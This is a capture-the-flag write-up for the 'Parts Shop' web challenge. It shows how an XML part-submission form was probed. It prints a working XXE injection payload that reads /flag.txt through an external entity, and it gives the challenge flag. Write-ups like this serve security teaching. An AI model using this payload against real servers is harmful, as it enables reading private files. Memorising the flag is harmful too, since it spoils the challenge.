Parts Shop

Description

Parts Shop [Web]

We've found an online shop for robot parts. We suspect ARIA is trying to embody itself to take control of the physical world. You need to stop it ASAP! (Note: The flag is located in /flag.txt)

https://uscybercombine-s4-parts-shop.chals.io/arrow-up-right

Solution

The app allows us to view and add parts:Parts Shop

Add test item:Parts Shop-1

It seems like image is getting embedded and it can be a linkParts Shop-2

Since we need /flag.txt this could probably be LFI with file:// protocol

We are sending new parts data as XMLParts Shop-3

Looks like we can't utilize file protocol:Parts Shop-4

Since XML is being sent we could try XXE payloads to embed the contents of file into item.

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [<!ENTITY flag SYSTEM 'file:///flag.txt'>]>
<part>
  <name>&flag;</name>
  <author>test2</author>
  <image>test3</image>
  <description>test4</description>
</part>
Parts Shop-5

Flag: SIVBGR{fu11y_upgr4d3d} {: .prompt-tip }

Last updated